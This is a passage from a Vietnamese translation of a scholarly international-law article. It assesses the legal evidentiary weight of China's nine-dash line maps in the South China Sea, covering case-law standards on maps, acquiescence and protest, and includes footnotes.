phụ trong việc làm vững thêm bằng chứng khác cùng chỉ về một hướng. [79] Trở lại với quyết định cho vụ Burkina Faso / Cộng hòa Mali:</div> <div> </div> <div> Các bản đồ vẫn không thể có giá trị pháp lý hơn so là giá trị của bằng chứng củng cố trong việc chuẩn nhận một kết luận mà một tòa án đi đến bằng các phương tiện khác không dính dáng tới các bản đồ, trừ khi các bản đồ thuộc loại biểu hiện vật lý ý muốn của Nhà nước, tự chúng không thể được xem như là bằng chứng về một đường biên giới, vì trong trường hợp đó chúng sẽ hình thành một giả định không thể bác bỏ, thật sự đồng nghĩa với quyền sở hữu pháp lý. Giá trị duy nhất mà chúng có là bằng chứng thuộc loại phụ hoặc khẳng định thêm, và điều này cũng có nghĩa rằng chúng không thể được gán cho đặc tính của một giả định không thể bác bỏ (juris tantum) như là để thực hiện một sự đảo ngược trách nhiệm chứng minh. [80]</div> <div> </div> <div> Lập trường thận trọng này đã được phát hiện và ghi nhận theo ý kiến của học giả có thẩm quyền, [81] và trong một số trường hợp đã được sự chấp thuận đáng kể. [82]</div> <div> </div> <div> B. Các bản đồ không tương thích nhau</div> <div> </div> <div> Khi trình bày các khẳng định mâu thuẫn lẫn nhau, sắp xếp các sự kiện cho chỉnh trang đòi hỏi cố gắng lớn. [83] Khá tương tự như vậy, khi các tài liệu bản đồ mâu thuẫn với nhau, chúng sẽ mất đi sự tin cậy. [84] Như ICJ đã nêu trong trường hợp Kasikili / Sedudu:</div> <div> </div> <div> “dưới ánh sáng của sự không chắc chắn và không thống nhất của tài liệu bản đồ được đệ trình, Tòa tự thấy mình không thể rút ra kết luận từ những bằng chứng bản đồ đưa ra trong trường hợp này.” [85]</div> <div> </div> <div> Các bản đồ với đường 9-chấm vẽ ra một hình ảnh Biển Đông khác biệt với bằng chứng bản đồ và các tài liệu khác của các nước ven biển trong khu vực. Sẽ khó khăn để đạt được một sự hiểu biết chính xác ranh giới biển và chính trị chỉ dựa trên việc đặt các bản đồ kế bên nhau. Ngoài ra, các điều mà đường chữ U thể hiện cũng không nhất quán. Như đã đề cập ở trên, đường chữ U trong bản đồ ở TQ trước năm 1953 bình thường gồm có 11 vạch, [86] trong khi các phiên bản sau này của đường nhiều chấm chỉ gồm 9 đoạn. Một bản đồ điện tử trực tuyến gần đây của Cục Khảo sát và Bản đồ Nhà nước TQ ngày 21 tháng 10 năm 2010 lại thêm một đoạn nữa vào phía Bắc giữa Đài Loan và nhóm Ryukyu, trong đó có đảo Yonaguni là hòn đảo ở cực tây, tất cả đều thuộc về Nhật Bản. [87] Không có lý do nào được đưa ra cho việc loại bỏ bí ẩn hai vạch trong quá khứ hay việc thêm vào vạch thứ 10 mới gần đây. [88]</div> <div> </div> <div> C. Ký hiệu bản đồ rời rạc / nhập nhằng</div> <div> </div> <div> Bản đồ không rõ ràng đã xuất hiện trong các tố tụng qua trọng tài trong quá khứ. Trong vụ Trọng tài Eritrea / Yemen, Eritrea đã nộp các bản đồ mô tả một đường chấm chấm hỗ trợ yêu sách của mình. Tòa án đưa ra một tuyên bố ngắn về phương pháp chứng cứ của bên liên quan:</div> <div> </div> <div> Trong một số trường hợp Tòa án có thể không đồng ý với các đặc tính của các bản đồ mà bên đưa ra mong muốn. Hơn nữa, nếu không có chỉ dẫn cụ thể từ chính bản đồ, Tòa án không muốn gán ý nghĩa cho các đường chấm thay cho màu sắc hoặc thay cho việc ghi địa danh trên bản đồ. Các kết luận trên cơ sở này do Eritrea thúc hối liên quan tới một số bản đồ của họ không được chấp nhận. [89]</div> <div> </div> <div> Đương nhiên,có sự tương tự của trường hợp này với đường chữ U, sự thiếu vắng một chú giải (legend), và lời lẽ bí ẩn chứa trong công hàm của TQ gửi Tổng thư ký LHQ đã soạn sẵn. Sự lúng túng càng lớn hơn bởi vì cách mô tả của đường 9-chấm sai lệch với các tiêu chuẩn vẽ bản đồ quốc tế được Tổ chức Thủy văn Quốc tế đề ra đích xác cho mục đích về tính rõ ràng. [90] Cần nhớ rằng TQ là một thành viên của tổ chức quốc tế này. [91]</div> <div> </div> <div> D. Ý định không rõ ràng</div> <div> </div> <div> Như Thẩm phán Oda đã chỉ ra một cách đúng đắn trong ý kiến riêng của ông trong vụ Kasikili / Sedudu, “một tuyên bố lãnh thổ chỉ có thể được thực hiện với dấu hiệu rõ ràng về ý định của chính phủ, dấu hiệu đó có thể được phản ánh trong các bản đồ. Một bản đồ tự nó, nếu không có bằng chứng hỗ trợ khác thì không thể biện minh cho một tuyên bố chính trị” (nhấn mạnh thêm). [92] Trong trường hợp này (in casu) tiêu chí về ý định rõ rệt về phía chính phủ TQ không được đáp ứng một cách thoả đáng. Sự đa dạng về cách giải thích đường chữ U do các học giả luật học đưa ra cũng như công hàm mơ hồ của TQ đề ngày7 tháng 5 năm 2009 là chứng cứ cho kết luận này. Bên cạnh các cấu trúc câu khó hiểu, các từ ngữ được sử dụng trong công hàm, cụ thể là “vùng biển có liên quan” và “vùng biển tiếp giáp” là đặc biệt khó hiểu vì chúng không xuất hiện bất cứ chỗ nào trong UNCLOS. Sự mơ hồ có vẻ như cố tình làm trầm trọng thêm, vì TQ vẫn chưa thông qua luật tạo cho đường chữ U bất kỳ hiệu lực trong trật tự luật pháp trong nước. [93] Ngay cả khi người ta có thể bới ra các ý định đằng sau bản đồ này, ý nghĩa pháp lý của chúng không nên được đánh giá cao. Trở lại bài viết nói trên của Thẩm phán Oda:</div> <div> </div> <div> Một bản đồ được sản xuất bởi một cơ quan chính phủ có liên quan đôi khi có thể chỉ ra vị thế của chính phủ liên hệ đến lãnh thổ hay chủ quyền của một khu vực cụ thể hay đảo. Tuy nhiên, một mình sự kiện đó không có tính quyết định về tư cách pháp lý của khu vực hay đảo đang có vấn đề. Đường ranh giới trên những bản đồ như vậy có thể được hiểu như là thể hiện cho yêu sách tối đa của nước có liên quan, nhưng không nhất thiết biện minh cho yêu sách đó. [94]</div> <div> </div> <div> E. Thiếu tính trung lập</div> <div> </div> <div> Khi bản đồ được vẽ lên bởi một chuyên gia khách quan, giá trị chứng minh của nó có xu hướng tăng lên. [95] Trái lại, các tài liệu bản đồ được sản xuất theo chỉ thị của một trong các bên tranh chấp sẽ được xét với sự nghi ngờ nhiều hơn, và do đó sự phụ thuộc vào tài liệu như vậy chỉ là ngoại lệ không phải là quy tắc. [96] Các trọng tài trong vụ Trọng tài kênh Beagle nhận xét như sau:</div> <div> </div> <div> Trong khi các bản đồ đến từ các nguồn khác hơn những bản đồ của các bên không thuộc vụ đó được coi là nhất thiết phải chính xác hơn hoặc khách quan hơn, trước nhất (prima facie) chúng có tình trạng độc lập, điều này có thể tạo cho chúng giá trị lớn trừ khi chúng chỉ là các bản sao chép của - hoặc dựa trên bản gốc xuất phát từ - các bản đồ do một trong các bên vẽ ra, hoặc giả được xuất bản trong một nước có liên quan, hoặc thay mặt cho, hoặc theo yêu cầu của một Bên, hoặc rõ ràng có động cơ chính trị. Nhưng chỗ nào mà tư cách độc lập của chúng không để lộ cho việc nghi ngờ về một hoặc các cơ sở nêu trên, chúng có ý nghĩa tương đối cho việc giải quyết tranh chấp lãnh thổ liên hệ trong đó chúng cho thấy sự tồn tại của một sự hiểu biết chung theo một nghĩa nào đó, như về cách giải quyết đó là gì, hoặc, chúng mâu thuẫn ở đâu, sự thiếu vắng của bất kỳ sự hiểu biết chung như vậy. [97]</div> <div> </div> <div> Việc thiếu tính trung lập là rõ rành rành đối với đường 9 chấm. Như đã thảo luận trong phần II-A, lịch sử của đường chữ U có thể được truy ngược về một ủy ban nội bộ do chính phủ Trung Hoa Dân Quốc thành lập để cập nhật các bản đồ TQ và tái khẳng định vị thế của họ. Một cơ quan chính phủ được thành lập và phân bổ nhân viên đơn phương như thế khó có thể được coi là khách quan đối với các nước có liên quan khác trong khu vực Biển Đông. Không nên quên rằng các nhà vẽ bản đồ có lương tâm vẫn có thể bị sử dụng cho các mục đích lừa đảo:</div> <div> </div> <div> Một nhà làm bản đồ … có thể được sử dụng để biểu lộ khẳng định của một nước cụ thể như nước của chính ông ta về kích cỡ đầy đủ miền lãnh thổ của nước đó là gì, bất kể tính đúng đắn của khẳng định này và không có việc doạ dẫm rằng việc vẽ đó mô tả phạm vi của một yêu sách chứ không phải là vị trí của một ranh giới được chấp nhận. Qua việc sao chép tiếp theo và việc vẽ lại của các nhà làm bản đồ thiếu phối kiểm không những các sai sót tiếp tục tồn tại mà sự kiện về việc lặp lại có xu hướng chuyển cho chúng sự thừa nhận pháp lý qua việc in ra một số lượng lớn bản đồ thống nhất với lời khai của họ. [98]</div> <div> </div> <div> F. Không chính xác về kỹ thuật</div> <div> </div> <div> Trong tiểu luận về giá trị chứng cứ của bản đồ, De Visscher đưa ra các tiêu chuẩn sau đây: “những bảo đảm về tính chính xác nội tại của bản đồ … sự chính xác liên quan tới các điểm đang tranh chấp”. [99] Theo Brownlie, "giá trị chứng minh mà một bản đồ có tương ứng với chất lượng kỹ thuật của nó”.[100] Luật về án lệ cũng chỉ ra đòi hỏi độ chính xác kỹ thuật trong bản đồ. [101] Trong vụ đảo Palmas, trọng tài duy nhất Max Huber đã viết rằng: “điều kiện đầu tiên đòi hỏi của các bản đồ phục vụ với tư cách là bằng chứng đối với những điểm pháp lý là độ chính xác địa lý của chúng.” [102]</div> <div> </div> <div> ICJ phát biểu rằng:</div> <div> </div> <div> Trọng lượng thực tế được phân cho các bản đồ đem làm bằng chứng phụ thuộc vào một loạt các cân nhắc. Một số trong các cân nhắc này liên quan đến độ tin cậy kỹ thuật của các bản đồ. Điều này đã nâng lên đáng kể, đặc biệt là do những tiến bộ đạt được qua không ảnh và ảnh vệ tinh từ những năm 1950. Nhưng kết quả chỉ mang tới tính chất trung thực hơn cho bản đồ và sự ăn khớp ngày càng chính xác giữa bản đồ và không ảnh. Thông tin xuất phát từ sự can thiệp của con người, chẳng hạn như tên của các địa điểm và các thể địa lý (địa danh học) và việc miêu tả biên giới và ranh giới chính trị khác, do đó không khả tín hơn. Tất nhiên, độ tin cậy của các thông tin địa danh học cũng tăng lên nhở kiểm chứng thực địa, mặc dù ở mức độ thấp hơn, nhưng theo ý kiến của các nhà vẽ bản đồ, sai sót vẫn còn phổ biến trong biểu thị các đường biên giới, nhất là khi thể hiện các địa danh này này ở các khu vực biên giới khó tiếp cận. [103]</div> <div> </div> <div> Dưới ánh sáng của những quan điểm này, sự ra đời của công nghệ hiện đại có thể tăng truy đòi của các thẩm phán đối với bằng chứng bản đồ. Một trường hợp nổi bật về điểm này là ý kiến tư vấn của ICJ 2004 đối với bức tường của Israel, trong đó họ dựa (một phần) vào một bản đồ điện tử được đăng trên trang web Bộ Quốc phòng Israel để xác định các tuyến đường hiện tại và tương lai của các bức tường trong vùng lãnh thổ Palestine. [104] Ngược lại, các bản đồ TQ không có vẻ có thể đáp ứng các tiêu chuẩn kỹ thuật nghiêm ngặt. Mặc dù đường nhiều chấm của TQ thường đi theo đường đẳng sâu 200 mét (đường nối các điểm có độ sâu 200m với nhau), cho đến nay nó chưa bao giờ được phân ranh giới chính xác, do đó thiếu các toạ độ địa lý chính xác. [105] Ngoài ra, có vẻ có một số sự mâu thuẫn nhỏ giữa các tài liệu bản đồ biển của TQ: các điểm cuối của các vạch tạo nên đường chữ U thay đổi (mức khác biệt chạy từ 1 đến 5nm). [106] Nhưng ngay cả vị trí của chính các vạch đôi khi có sai biệt rõ ràng với những vạch trên bản đồ ở Phụ lục I. [107] Hơn nữa, vì nó liên quan các đường trên biển, ảnh vệ tinh cũng không thật hữu ích.</div> <div> </div> <div> Một yếu tố bổ sung góp phần vào tính không chính xác của bản đồ TQ là tỉ lệ của nó nhỏ quá mức. ICJ đã than phiền các bản đồ vẽ với tỉ lệ không đủ lớn. Một ví dụ điển hình có thể tìm thấy trong Tranh chấp đất, đảo và biên giới biển:</div> <div> </div> <div> Honduras đã vẽ một bản đồ thứ hai, năm 1804, cho thấy vị trí của các giáo xứ của tỉnh San Miguel trong Tổng Giáo Phận Guatemala. Tuy nhiên, tỉ lệ của bản đồ này không đủ lớn để có thể xác định xem đoạn cuối của sông Goascoran là đoạn do El Salvador khẳng định, hoặc đoạn do Honduras khẳng định. [108]</div> <div> </div> <div> Các vấn đề tương tự cũng đã được trình bày trước tòa trọng tài. Ví dụ, Uỷ ban ranh giới Eritrea-Ethiopia cho rằng: “hơn nữa, nhiều bằng chứng về bản đồ theo một tỉ lệ quá nhỏ, hoặc quá thiếu chi tiết đến nỗi nó chỉ có thể được coi là mơ hồ trong lĩnh vực này.” [109]</div> <div> </div> <div> Cuối cùng, cần lưu ý rằng các bản đồ TQ không chứa bất kỳ chỉ dấu nào về mốc quy chiếu (tức là một quy chiếu sử dụng trong trắc địa để đo đạc) được sử dụng, đó có vẻ là một yếu tố quan trọng trong việc đánh giá độ chính xác kỹ thuật của bất kỳ ranh giới biển nào. [110]</div> <div> </div> <div> IV. BẢN ĐỒ KHÔNG BỊ CÁC NƯỚC KHÁC TRONG KHU VỰC PHẢN ĐỐI</div> <div> </div> <div> A. Tiêu chuẩn áp dụng</div> <div> </div> <div> Ngay cả khi ta chấp nhận rằng đường 9 chấm là một mô tả sai lầm của hiện thực thì điều đó không có nghĩa là nó có thể được gạt sang một bên ngay lập tức. Điều này đã được làm sáng tỏ trong vụ kênh Beagle:</div> <div> </div> <div> tầm quan trọng của bản đồ có thể không nằm ở chính bản đồ mà trên lý thuyết nó có thể không chính xác mà ở thái độ biểu lộ - hoặc hành động thực hiện - đối với bản đồ đó của các bên liên quan hoặc của các đại diện chính thức của họ. [111]</div> <div> </div> <div> Các thẩm phán trong vụ Đền Preah Vihear đã rõ rệt hơn, gửi một tín hiệu cảnh báo rõ ràng về những ảnh hưởng tiềm năng của việc sơ suất trong khi đối mặt với sự quyết đoán về bản đồ:</div> <div> </div> <div> Rõ ràng rằng các trường hợp như vậy đòi hỏi một phản ứng nào đó, về phía nhà chức trách Thái Lan trong một thời hạn hợp lý, nếu họ muốn tỏ sự không đồng ý với bản đồ hoặc nếu có bất kỳ câu hỏi nghiêm trọng nào phải nêu ra liên quan đến nó. Họ đã không làm như vậy, hoặc là sau đó hoặc trong nhiều năm, và do đó phải được xem là đã mặc nhận. Qui tacet consentire videtur si loqui debuisset ac potuisset. [112] (Ai im lặng thì dường như là đồng ý, nếu anh ta biết nói đáng lẽ anh ta đã phải nói).</div> <div> </div> <div> Một ví dụ của mối liên kết giữa bản đồ và sự mặc nhận được Ủy ban Ranh giới Eritrea-Ethiopia nêu lại gần đây: “một bản đồ có thể có chút trọng lượng pháp lý cho từng cái (per se): nhưng nếu bản đồ là thỏa đáng về mặt bản đồ học trong các khía cạnh có liên quan, nó có thể, có vai trò là căn cứ thực tế , có ý nghĩa pháp lý cao, ví dụ như cho hành vi mặc nhận.”[113]</div> <div> </div> <div> Tất nhiên, các kiểu cách thực tế của các vụ nêu trên là hoàn toàn khác biệt với trường hợp mà chúng ta đang phải đối mặt, tao ra tranh cãi về việc liệu các tiền lệ đó có thể áp dụng được ở đây không. Trong trường hợp này, chúng ta đang đối phó với một đường biên giới biển có mục đích xấu, việc hình thành nó, theo lời của ICJ, là “một vấn đề có tầm quan trọng lớn và việc thỏa thuận không phải là dễ dàng giả định trước”. [114] Hơn nữa, theo quan sát của Strupp:</div> <div> </div> <div> Yêu sách hình chữ U lạ lùng này là quá bất thường và quá đáng vượt ngoài thực tế trong các thập niên từ 30 tới 60 đến nỗi không thể hiểu được theo cách có “sự mặc nhận đối với yêu sách bản đồ” một công nhận (ngầm) của cộng đồng nước ngoài về những tham vọng “cực kỳ bất thường”, bằng cách áp dụng quy tắc qui tacet consentire videtur si loqui debuisset ac potuisset hoặc quy tắc khác, có thể nghiêm ngặt đi đến xem xét. [115]</div> <div> </div> <div> Strupp cũng nhận xét rằng:</div> <div> </div> <div> Trong những trường hợp hoàn toàn quá đáng kiểu như “tuyên bố chủ quyền mặt trăng” của “đường chữ U” ở Biển Đông rõ ràng không tồn tại một cơ sở hợp lý nào cả cho một độ “siêu nhạy cảm” to lớn về phía các nước phải đối mặt với các yêu sách bản đồ đối địch về mặt “mặc nhận”. [116]</div> <div> </div> <div> Tuy nhiên, cần thận trọng khi áp dụng một phương pháp tiếp cận trung gian. Sau khi xem xét một bộ phận lớn về việc thực hành nhà nước, trong công trình có ảnh hưởng của ông về quyền sở hữu lịch sử, Blum đi đến kết luận sau đây:</div> <div> </div> <div> Các trường hợp phản đối mới đây chống lại “yêu sách bản đồ” dường như chỉ ra rằng các quốc gia, trên thực tế, “luôn giữ một cái nhìn cảnh giác đối với các bản đồ do các quốc gia văn minh xuất bản " … Nói chung, có vẻ nổi lên rằng các nước sẽ bị đổ lỗi cho sự hiểu biết về các hoạt động lập pháp trong nước của nhau cũng như các hành vi khác được thực hiện theo thẩm quyền của họ, và lời biện hộ về sự không biết sẽ chỉ được chấp nhận trong những trường hợp đặc biệt nhất.Do đó những nước mong muốn bảo toàn quyền của mình được khuyến cáo nên quan tâm theo dõi sâu sát các hành vi chính thức của các nước khác và đưa ra phản đối - thông qua các phương tiện hợp pháp được luật quốc tế công nhận – nếu họ cảm thấy rằng quyền của mình đã bị ảnh hưởng, hoặc có thể bị ảnh hưởng bởi những hành vi đó. [117]</div> <div> </div> <div> B. Phản đối / Thiếu sự mặc nhận</div> <div> </div> <div> Giả sử rằng triển vọng thừa nhận ngầm lồ lộ hiện ra, các nước ven biển được yêu cầu phải bày tỏ sự không chấp nhận chính sách đường chữ U và ý đồ cơ bản của TQ. Một số học giả TQ đã cáo buộc rằng buộc cộng đồng quốc tế đã không lên tiếng về sự bất đồng của mình để ngăn chặn việc củng cố tham vọng của TQ ở Biển Đông:</div> <div> </div> <div> Khi tuyên bố đường 9 điểm, cộng đồng quốc tế không lúc nào bày tỏ sự bất đồng ý kiến. Không nước lân cận nào đã đưa ra một phản đối ngoại giao. Im lặng khi đối mặt với một tuyên bố công khai có thể nói có nghĩa là mặc nhận, và có thể khẳng định rằng các đường chấm chấm đã được công nhận trong nửa thế kỷ. Tuy nhiên, trong những năm gần đây một số nước Đông Nam Á, đã tham gia vào tranh chấp chủ quyền Biển Đông, mới đặt ra câu hỏi về tình trạng pháp lý của đường 9 chấm. [118]</div> <div> </div> <div> Triệu Quốc Khải (Zhao Guocai) cho rằng:</div> <div> </div> <div> “Từ lúc tuyên bố đường 9- chấm, cộng đồng quốc tế vào thời điểm đó đã không đưa ra bất kỳ sự không bằng lòng nào. Các nước liền kề cũng không đưa ra bất kỳ phản đối ngoại giao nào đối với đường 9-chấm. Những điều này quy thành một sự mặc nhận.” [119]</div> <div> </div> <div> Sự mặc nhận quốc tế này rất đáng ngờ. [120] Lấy Việt Nam như một trường hợp về điều này, chúng ta có thể thấy rằng hai phát biểu này là không thuyết phục. Các ví dụ bao gồm:</div> <div> </div> <div> 1. Một phản đối đối với các đòi hỏi của TQ qua việc tuyên bố rằng rằng họ sẽ “không công nhận bất kỳ cái gọi là ‘lợi ích lịch sử’ nào, điều đó là không phù hợp với luật pháp quốc tế và vi phạm chủ quyền và quyền chủ quyền của Việt Nam và lợi ích hợp pháp của Việt Nam trong các khu vực biển và thềm lục địa của họ trong Biển Đông”.[121]</div> <div> </div> <div> 2. Một tuyên bố đáp trả công hàm của TQ năm 2009:</div> <div> </div> <div> Quần đảo Hoàng Sa và Trường Sa là một phần của lãnh thổ Việt Nam. Việt Nam có chủ quyền không tranh cãi đối với các quần đảo này. Do đó, yêu sách của TQ đối với các đảo và vùng biển lân cận ở Biển Đông như thể hiện trong bản đồ kèm Công hàm CLM/17 / 2009 và CLM/18/2009 là không có cơ sở pháp lý, lịch sử, thực tế, do đó là không có giá trị và vô hiệu. [122]</div> <div> </div> <div> 3. Một yêu cầu loại bỏ dữ liệu khỏi dịch vụ bản đồ trực tuyến của TQ mô tả đường chữ U (nêu trên) trong hai dịp. [123]</div> <div> </div> <div> 4. Các phản kháng gần đây chống lại sự can thiệp của TQ với tàu thuyền Việt Nam, trong đó tính hợp pháp của đường 9 chấm rõ ràng bị bác bỏ. [124]</div> <div> </div> <div> 5. Nhân dịp buổi họp cuối cùng của các nước thành viên UNCLOS, Việt Nam đã nhắc lại phản đối của mình đối với đường 9 chấm theo mục 14 của Chương trình nghị sự. [125]</div> <div> </div> <div> Cách ứng xử như vậy phải tuân thủ các tiêu chuẩn pháp lý quốc tế cần thiết để làm các hành vi phản đối thấm đầy hiệu lực pháp lí khiến cho đường chữ U không thể được sử dụng để chống lại nước phản đối. Tuy nhiên, có vẻ như không khả thi khi áp dụng các tiêu chí này cho các phản kháng trước đây đối với đường chữ U trong điều kiện vị thế mơ hồ của TQ đối với bản đồ và những gì nó thực sự muốn nói. Xét cho cùng, chỉ có thể hành động bằng cách phản đối một khi nước đối lập đã thực hiện một tuyên bố chính thức và dễ hiểu. Ý tưởng này được phản ánh trong khái niệm về “tai tiếng”của hành động hoặc sự kiện đang có vấn đề. [126] Chúng tôi đã bàn bạc chi tiết các đặc điểm bí ẩn của đường 9 chấm và những ảnh hưởng về ý định không rõ ràng về phía TQ. Vì vậy, chỉ có thể phản đối đối với những khẳng định thấy được và dễ hiểu về đường chữ U trong các trường hợp hiếm hoi mà chúng xảy ra (ví dụ, công hàm TQ gửi cho Tổng Thư ký LHQ năm 2009). Theo thời gian, các tiêu chí theo sau dựa trên các tiêu chí trước trước đây. Theo lập luận, nếu tính rõ ràng của dòng-9-chấm đã được xác lập thì bản chất của sự mặc nhận như thế có xu hướng được chấp nhận chỉ sau một thời gian dài thụ động.[127] Ví dụ dễ thấy là các vụ tranh chấp về Đánh bắt cá và Quyền qua lại trên Lãnh thổ Ấn Độ trong đó ICJ suy ra sự mặc nhận từ trên 60 và 125 năm im lặng, tương ứng. [128] Đòi hỏi về ý định rõ ràng cũng đã được hoàn thành trong các tuyên bố của Việt Nam rõ ràng nhằm mục đích ngăn chặn cái đòi hỏi trở thành quyền lợi pháp lý mới của TQ. Ngoài ra, tiêu chí rằng phản đối phải nhất quán và không bị gián đoạn có thể nói là đã được tuân thủ, như minh họa của nội dung của các ghi chú nói về phản đối. [129]</div> <div> </div> <div> KẾT LUẬN</div> <div> </div> <div> Trong đóng góp này, chúng tôi đã cố gắng để khám phá một số những điều không chắc chắn về pháp lý che đậy các vạch trên bản đồ Biển Đông của TQ. Phân tích của chúng tôi đã đưa đến kết luận rằng đường chữ U, cho dù được giải thích như là một thể hiện lãnh thổ hoặc biển, rõ ràng thiếu tính chính xác, và do đó đặt ra nhiều vấn đề nếu vẫn giữ như là một phần của chính sách chính thức của TQ cũng như của Đài Loan. Nếu bộ phận đáng kể luật các án lệ là điều phải đi theo, bản đồ thể hiện với đường 9 chấm sẽ không có giá trị như là tài liệu chứng cứ trong một vụ xử giả thuyết. Trong khi có thể thấy rằng một số người nhìn ra một xu hướng mới nổi lên tạo ảnh hưởng cho sự dễ dãi đối với bản đồ, [130] chúng tôi sẽ cho rằng các luận điệu như vậy là khá vội vã. Các bản đồ không phải là các bản đồ kèm theo các hiệp ước quốc tế sẽ được tiếp nhận một cách thận trọng dễ hiểu và sẽ được đánh giá theo chức năng của chúng vẫn là điều không thay đổi.</div> <div> </div> <div> Nhưng có một vấn đề cơ bản hơn ở đây. Duy trì một tuyên bố đơn phương trong một khoảng thời gian kéo dài mà không xem xét tới quyền lợi của các bên quan tâm khác là đồng nghĩa với việc áp đặt một việc đã rồi (fait accompli). Điều này sẽ vuột mất đi khi đối mặt với luật quốc tế, luật này ngăn không cho các nước mạnh yêu sách “giành phần trọn” (lion’s share) gây thiệt hại cho các nước láng giềng yếu hơn. [131] Việc bám chặt vào đường 9 chấm cũng là lỡ nhịp với chế độ chính phủ hiện tại, [132] bao gồm các hội thảo[133] và (đề xuất) hợp tác trong lĩnh vực bảo vệ môi trường và sự đa dạng sinh học. [134] Một giải pháp thực dụng khá thịnh hành trong những năm qua là tìm cách đạt được sự phát triển chung các tài nguyên. Điều này dính dáng tới việc gác các tranh chấp lãnh thổ và biển sang một bên và ký kết các thỏa thuận tạm thời “mà không làm ảnh hưởng” đến kết quả phân định cuối cùng. [135] May mắn thay, TQ, Đài Bắc, và các diễn viên khác trong khu vực đã sử dụng các cơ chế đa phương này và tiếp tục làm như vậy một cách hiệu quả. Chúng tôi hy vọng rằng các nước có tranh chấp từ bỏ các khẳng định cực kỳ quyết đoán về mặt bản đồ và lo tập trung năng lượng của họ vào các kết quả các bên cùng có lợi liên quan đến Biển Đông trên cơ sở UNCLOS.</div> <div> </div> <div> Người dịch: Phan Văn Song</div> <div> </div> <div> Hiệu đính: Lê Trung Tĩnh</div> <div> </div> <div> --------------</div> <div> * Research Professor, President of the Department of International and European Law and Director of the Centre for International Law, Vrije Universiteit Brussel; Member of the Permanent Court of Arbitration. The substance of this article was prepared for the Second International Workshop organized by the Diplomatic Academy of Vietnam and the Vietnam Lawyers Association, entitled ‘‘The South China Sea: Cooperation for Regional Security and Development’’, 10–12 November 2010, Ho Chi Minh, Vietnam. This article is a revised version of the paper—‘‘Dotted Lines in the South China Sea: Fishing for (Legal) Clarity’’—presented at the Workshop.</div> <div> **Doctoral Fellow, Research Foundation—Flanders (FWO). Member of the Department of International and European Law and the Centre for International Law, Vrije Universiteit Brussel.</div> <div> </div> <div> [1] LI Jinming and LI Dexia, ‘‘The Dotted Line on the Chinese Map of the South China Sea: A Note’’ (2003) 34 Ocean Development and International Law 287 at 289. Trong một công hàm gửi cho Tổng thư ký Liên Hiệp Quốc, Trung Quốc tuyên bố rằng “kể từ [sic] năm 1930, chính phủ Trung Quốc đã đưa ra công khai nhiều lần [sic] phạm vi địa lý của quần đảo Nam Sa của Trung Quốc và tên các thành phần của nó”, nhưng họ không đề cập đến các hoạt động bản đồ. Vì vậy, trong khi điều này có thể có nghĩa là Trung Quốc chính thức chuẩn nhận các hoạt động đặt tên của Ủy ban, không thể suy ra các bản đồ cũng được chuẩn nhận. Xem People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/8/2011’’ (14 April 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/chn_2011_re_phl_e.pdf.</div> <div> [2] Zou Keyuan đề cập đến sự tồn tại của một đường ở Biển Đông có sớm hơn được nhà vẽ bản đồ TQ Hu Jinjie (Hồ Tấn Tiếp) vẽ vào năm 1914 và tiếp theo vào những năm 1920 và năm 1930. Đường như vậy cũng có thể tìm thấy trong một số tập bản đồ từ thời kỳ này. Tuy nhiên, cần phải nhấn mạnh rằng:</div> <div> </div> <div> 1. Những phiên bản sớm hơn này có trước bản đồ chính thức đầu tiên mô tả “đường chữ U”.</div> <div> </div> <div> 2. Các tập bản đồ nói trên đã được biên soạn bởi các cá nhân, do đó hành động theo khả năng cá nhân của họ.</div> <div> Xem ZOU Keyuan, ‘‘The Chinese Traditional Maritime Boundary Line in the South China Sea and its Legal Consequences for the Resolution of the Dispute over the Spratly Islands’’ (1999) 14 International Journal of Marine and Coastal Law 27 at 32–33.</div> <div> </div> <div> [3] In lại trong HU Nien-Tsu Alfred, ‘‘South China Sea: Troubled Waters or a Sea of Opportunity?’’ (2010) 41 Ocean Development and International Law 203 at 208.</div> <div> </div> <div> [4] WANG Kuan-Hsiung, ‘‘The ROC’s Maritime Claims and Practices with Special Reference to the South China Sea’’ (2010) 41 Ocean Development and International Law 237 at 248.</div> <div> </div> <div> [5] SHEN Jianming, ‘‘China’s Sovereignty over the South China Sea Islands: A Historical Perspective’’ (2002) 1 Chinese Journal of International Law 94 at 129, note 122.</div> <div> </div> <div> [6] Li and Li, supra note 4 at 290. Quan điểm này mâu thuẫn với Zou Keyuan, ông cho rằng hai vạch này bị xoá vào những năm 1960. XemSee Zou, supra note 5 at 34–35.</div> <div> </div> <div> [7] Malaysia-Socialist Republic of Viet Nam, ‘‘Joint Submission to the Commission on the Limits of the Continental Shelf Pursuant to Article 76, paragraph 8 of the United Nations Convention on the Law of the Sea 1982 in Respect of the Southern Part of the South China Sea, Executive Summary’’ (May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/mys_vnm2009excutivesummary.pdf. Như chỉ ra trong thư của TTK LHQ, hồi đáp đã nhận, bản đệ trình chung này đã nộp ngày 6/5/2009, xem trực tuyến: UN http://www.un.org/depts/los/clcs_new/submissions_files/mysvnm33_09/mysvnm_clcs33_2009e.pdf.</div> <div> [8] Socialist Republic of Vietnam, ‘‘Submission to the Commission on the Limits of the Continental Shelf Pursuant to Article 76, paragraph 8 of the United Nations Convention on the Law of the Sea 1982, Partial Submission in Respect of Vietnam’s Extended Continental Shelf: North Area (VNM-N), Executive Summary’’ (April 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/vnm2009n_executivesummary.pdf. Như chỉ ra trong thư của TTK LHQ, hồi đáp đã nhận, bản đệ trình chung này đã nộp ngày 7/5/2009, xem trực tuyến: UN http://www.un.org/depts/los/clcs_new/submissions_files/vnm37_09/vnm_clcs37_2009e.pdf.</div> <div> [9] United Nations Convention on the Law of the Sea, 10 December 1982, 1833 U.N.T.S. 397 (entered into force 16 November 1994), online: UN http://www.un.org/Depts/los/convention_agreements/texts/unclos/unclos_e.pdf [UNCLOS], art. 76(8).</div> <div> [10] Do Malaysia và Việt Nam phê chuẩn UNCLOS ngày 14 tháng 10, 1996 và 25 tháng Bảy năm 1994, tương ứng, hạn chót nộp hồ sơ của họ bình thường theo Phụ lục II của nó, Điều. 4, phải là năm 2006 và 2004, tương ứng. Nhưng vì nhiều nước gặp phải khó khăn trong việc đáp ứng hạn chót này của Phụ lục II, vào năm 2001 các nước thành viên UNCLOS đã quyết định sử dụng một điểm khởi đầu để xác định thời hạn này: ngày thông qua CLCS Hướng dẫn Khoa học và Kỹ thuật đã trở thành điểm khởi 